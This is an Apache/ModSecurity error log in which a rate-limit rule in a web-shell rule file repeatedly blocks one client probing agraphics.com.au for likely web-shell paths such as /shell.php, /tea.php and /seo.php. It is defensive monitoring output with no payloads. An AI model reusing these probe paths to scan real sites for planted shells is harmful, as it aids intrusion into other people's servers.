[Fri Apr 17 14:32:12.783076 2026] [:error] [pid 51878:tid 51893] [client 74.234.56.128:24351] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT7EnQhUtMbw9EsgYaQgAAAQ0"]
[Fri Apr 17 14:32:13.071592 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:26394] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeHT7RP68VyHNvj1e56ibgAAAMI"]
[Fri Apr 17 14:32:13.312880 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:25958] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT7ZJYca8I3TNCwIf-DwAAAEc"]
[Fri Apr 17 14:32:13.665316 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:26376] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeHT7RP68VyHNvj1e56icgAAANA"]
[Fri Apr 17 14:32:13.828957 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:26401] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT7RP68VyHNvj1e56icwAAAMw"]
[Fri Apr 17 14:32:14.226087 2026] [:error] [pid 51878:tid 51892] [client 74.234.56.128:23922] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeHT7knQhUtMbw9EsgYaQwAAAQw"]
[Fri Apr 17 14:32:14.355142 2026] [:error] [pid 51878:tid 51904] [client 74.234.56.128:25417] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT7knQhUtMbw9EsgYaRAAAARg"]
[Fri Apr 17 14:32:14.770304 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:24926] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeHT7hP68VyHNvj1e56idQAAAMk"]
[Fri Apr 17 14:32:14.983689 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:24856] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT7hP68VyHNvj1e56idgAAANg"]
[Fri Apr 17 14:32:15.353387 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:25406] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT7xP68VyHNvj1e56idwAAAM8"]
[Fri Apr 17 14:32:15.479048 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:24901] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT7xP68VyHNvj1e56ieAAAAMs"]
[Fri Apr 17 14:32:15.931132 2026] [:error] [pid 34273:tid 34298] [client 74.234.56.128:25382] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT72uQDW686mK3dgHC0QAAAZc"]
[Fri Apr 17 14:32:15.985102 2026] [:error] [pid 51878:tid 51881] [client 74.234.56.128:24875] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT70nQhUtMbw9EsgYaRgAAAQE"]
[Fri Apr 17 14:32:16.541521 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26382] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT8BP68VyHNvj1e56iewAAANQ"]
[Fri Apr 17 14:32:16.634257 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:25422] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT8BP68VyHNvj1e56ifAAAANM"]
[Fri Apr 17 14:32:17.042771 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:25933] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT8RP68VyHNvj1e56ifgAAANU"]
[Fri Apr 17 14:32:17.285007 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:25891] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT8RP68VyHNvj1e56igAAAAMM"]
[Fri Apr 17 14:32:17.572872 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:26383] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT8cOaH-Pgc7WEf4NF-wAAAcs"]
[Fri Apr 17 14:32:17.999094 2026] [:error] [pid 34273:tid 34283] [client 74.234.56.128:24331] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT8WuQDW686mK3dgHC0wAAAYg"]
[Fri Apr 17 14:32:18.152765 2026] [:error] [pid 25010:tid 25019] [client 74.234.56.128:24896] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT8o-7kkf42RarqQ1FdwAAAUY"]
[Fri Apr 17 14:32:18.688931 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:24864] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT8hP68VyHNvj1e56igwAAAMs"]
[Fri Apr 17 14:32:18.756122 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:25908] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT8hP68VyHNvj1e56ihAAAANA"]
[Fri Apr 17 14:32:19.296277 2026] [:error] [pid 51878:tid 51882] [client 74.234.56.128:24918] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT80nQhUtMbw9EsgYaRwAAAQI"]
[Fri Apr 17 14:32:19.467194 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:24913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT88OaH-Pgc7WEf4NF_AAAAcU"]
[Fri Apr 17 14:32:19.941980 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:26924] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT8xP68VyHNvj1e56ihgAAAMo"]
[Fri Apr 17 14:32:20.294266 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:25419] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeHT9BP68VyHNvj1e56ihwAAAME"]
[Fri Apr 17 14:32:20.743988 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:26971] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT9BP68VyHNvj1e56iiAAAAMk"]
[Fri Apr 17 14:32:21.333522 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:25943] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT9ZJYca8I3TNCwIf-FQAAAEU"]
[Fri Apr 17 14:32:21.425343 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:25955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT9RP68VyHNvj1e56iigAAAMI"]
[Fri Apr 17 14:32:21.840601 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:26971] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT9RP68VyHNvj1e56ijAAAANg"]
[Fri Apr 17 14:32:22.116137 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:24913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT9muQDW686mK3dgHC1wAAAYk"]
[Fri Apr 17 14:32:22.649521 2026] [:error] [pid 25010:tid 25027] [client 74.234.56.128:26981] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT9o-7kkf42RarqQ1FeQAAAU4"]
[Fri Apr 17 14:32:22.661192 2026] [:error] [pid 34273:tid 34275] [client 74.234.56.128:25970] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT9muQDW686mK3dgHC2AAAAYA"]
[Fri Apr 17 14:32:23.222681 2026] [:error] [pid 9153:tid 9227] [client 74.234.56.128:26950] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT9-MHGxkTZX3c45fO9wAAAIk"]
[Fri Apr 17 14:32:23.445299 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:24436] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeHT95JYca8I3TNCwIf-GAAAAE0"]
[Fri Apr 17 14:32:23.771728 2026] [:error] [pid 9153:tid 9218] [client 74.234.56.128:26981] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT9-MHGxkTZX3c45fO-AAAAIA"]
[Fri Apr 17 14:32:24.281579 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:25957] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT-BP68VyHNvj1e56ikAAAANc"]
[Fri Apr 17 14:32:24.411716 2026] [:error] [pid 51878:tid 51903] [client 74.234.56.128:24401] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT-EnQhUtMbw9EsgYaSQAAARc"]
[Fri Apr 17 14:32:24.871488 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:26928] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT-JJYca8I3TNCwIf-GwAAAEc"]
[Fri Apr 17 14:32:25.189764 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:25922] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT-cOaH-Pgc7WEf4NF_gAAAdI"]
[Fri Apr 17 14:32:25.418574 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:24422] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHT-cOaH-Pgc7WEf4NF_wAAAcA"]
[Fri Apr 17 14:32:25.754603 2026] [:error] [pid 61523:tid 61563] [client 74.234.56.128:26440] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT-cOaH-Pgc7WEf4NGAgAAAdU"]
[Fri Apr 17 14:32:25.966709 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:26461] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHT-ZJYca8I3TNCwIf-HAAAAFc"]
[Fri Apr 17 14:32:26.327787 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:26992] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seo.php"] [unique_id "aeHT-hP68VyHNvj1e56ilAAAAMc"]
[Fri Apr 17 14:32:26.492039 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:24402] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHT-pJYca8I3TNCwIf-HwAAAEk"]
[Fri Apr 17 14:32:26.940456 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:24938] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT-hP68VyHNvj1e56ilQAAAMA"]
[Fri Apr 17 14:32:27.071639 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:26926] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeHT-xP68VyHNvj1e56ilgAAAMU"]
[Fri Apr 17 14:32:27.552780 2026] [:error] [pid 9153:tid 9235] [client 74.234.56.128:26429] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT--MHGxkTZX3c45fO-wAAAJE"]
[Fri Apr 17 14:32:27.605709 2026] [:error] [pid 9153:tid 9221] [client 74.234.56.128:26988] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHT--MHGxkTZX3c45fO_AAAAIM"]
[Fri Apr 17 14:32:28.088930 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26984] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT_BP68VyHNvj1e56imAAAANQ"]
[Fri Apr 17 14:32:28.176989 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:25962] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHT_MhTVuRPkua22vQUdQAAABU"]
[Fri Apr 17 14:32:28.703514 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:26914] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHT_BP68VyHNvj1e56imQAAAMY"]
[Fri Apr 17 14:32:28.826851 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:26959] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeHT_JJYca8I3TNCwIf-IwAAAEs"]
[Fri Apr 17 14:32:29.293870 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:26931] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeHT_RP68VyHNvj1e56inAAAAMo"]
[Fri Apr 17 14:32:29.482689 2026] [:error] [pid 9151:tid 9180] [client 74.234.56.128:24446] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT_chTVuRPkua22vQUdgAAABM"]
[Fri Apr 17 14:32:29.904555 2026] [:error] [pid 34273:tid 34288] [client 74.234.56.128:25859] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aeHT_WuQDW686mK3dgHC2gAAAY0"]
[Fri Apr 17 14:32:30.188689 2026] [:error] [pid 34273:tid 34282] [client 74.234.56.128:26952] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeHT_muQDW686mK3dgHC2wAAAYc"]
